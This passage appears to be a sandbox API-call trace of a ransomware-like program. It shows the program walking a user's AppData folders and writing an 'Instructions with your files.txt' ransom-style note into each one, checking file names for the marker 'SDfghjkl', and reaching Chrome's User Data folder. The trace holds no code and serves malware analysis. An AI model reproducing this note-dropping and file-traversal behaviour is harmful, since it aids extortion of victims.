[0128.685] wnsprintfW (in: pszDest=0x8efc48, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\Instructions with your files.txt") returned 125
[0128.685] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0128.685] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0128.686] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0128.686] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0128.686] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0128.686] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0128.686] CloseHandle (hObject=0x124) returned 1
[0128.687] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0128.687] GetProcessHeap () returned 0x810000
[0128.687] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8efc48 | out: hHeap=0x810000) returned 1
[0128.687] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifests", cAlternateFileName="MANIFE~1")) returned 0
[0128.687] wnsprintfW (in: pszDest=0x8dec38, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\Instructions with your files.txt") returned 115
[0128.687] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0128.687] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0128.688] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0128.688] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0128.688] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0128.688] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0128.688] CloseHandle (hObject=0x120) returned 1
[0128.688] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0128.688] GetProcessHeap () returned 0x810000
[0128.688] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8dec38 | out: hHeap=0x810000) returned 1
[0128.688] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="YVORLGOR.PNT", cAlternateFileName="")) returned 0
[0128.689] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\Instructions with your files.txt") returned 102
[0128.689] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0128.689] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0128.690] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0128.690] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0128.690] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0128.690] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0128.690] CloseHandle (hObject=0x11c) returned 1
[0128.690] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0128.690] GetProcessHeap () returned 0x810000
[0128.690] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0128.692] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DQQ19BCJ.JAX", cAlternateFileName="")) returned 0
[0128.692] wnsprintfW (in: pszDest=0x8cdc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Instructions with your files.txt") returned 89
[0128.692] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0128.693] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0128.694] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0128.694] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0128.694] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0128.694] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0128.694] CloseHandle (hObject=0x118) returned 1
[0128.694] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0128.695] GetProcessHeap () returned 0x810000
[0128.695] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8cdc28 | out: hHeap=0x810000) returned 1
[0128.695] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0", cAlternateFileName="")) returned 0
[0128.695] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\Instructions with your files.txt") returned 85
[0128.695] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0128.695] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0128.696] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0128.696] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0128.696] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0128.696] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0128.696] CloseHandle (hObject=0x114) returned 1
[0128.696] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0128.696] GetProcessHeap () returned 0x810000
[0128.696] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8bcc18 | out: hHeap=0x810000) returned 1
[0128.696] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1
[0128.696] wnsprintfW (in: pszDest=0x8acc10, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment") returned 58
[0128.697] GetProcessHeap () returned 0x810000
[0128.697] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0128.697] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment\\*") returned 60
[0128.697] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0128.697] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment\\.") returned 60
[0128.697] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.697] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment\\..") returned 61
[0128.698] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0128.698] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment\\Instructions with your files.txt") returned 91
[0128.698] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\deployment\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0128.698] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0128.699] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0128.699] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0128.699] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0128.699] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0128.699] CloseHandle (hObject=0x114) returned 1
[0128.699] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0128.699] GetProcessHeap () returned 0x810000
[0128.699] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0128.699] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66051ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x66051ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9791f220, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x1a918, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GDIPFONTCACHEV1.DAT", cAlternateFileName="GDIPFO~1.DAT")) returned 1
[0128.699] wnsprintfW (in: pszDest=0x8acc10, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\GDIPFONTCACHEV1.DAT") returned 67
[0128.699] StrStrIW (lpFirst="GDIPFONTCACHEV1.DAT", lpSrch="SDfghjkl") returned 0x0
[0128.699] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Google", cAlternateFileName="")) returned 1
[0128.699] wnsprintfW (in: pszDest=0x8acc10, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google") returned 54
[0128.699] GetProcessHeap () returned 0x810000
[0128.700] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0128.700] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\*") returned 56
[0128.700] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0128.700] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\.") returned 56
[0128.700] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.700] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\..") returned 57
[0128.700] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chrome", cAlternateFileName="")) returned 1
[0128.700] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome") returned 61
[0128.700] GetProcessHeap () returned 0x810000
[0128.700] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x845bc0
[0128.701] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\*") returned 63
[0128.701] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0128.701] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\.") returned 63
[0128.701] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.701] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\..") returned 64
[0128.701] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Data", cAlternateFileName="USERDA~1")) returned 1
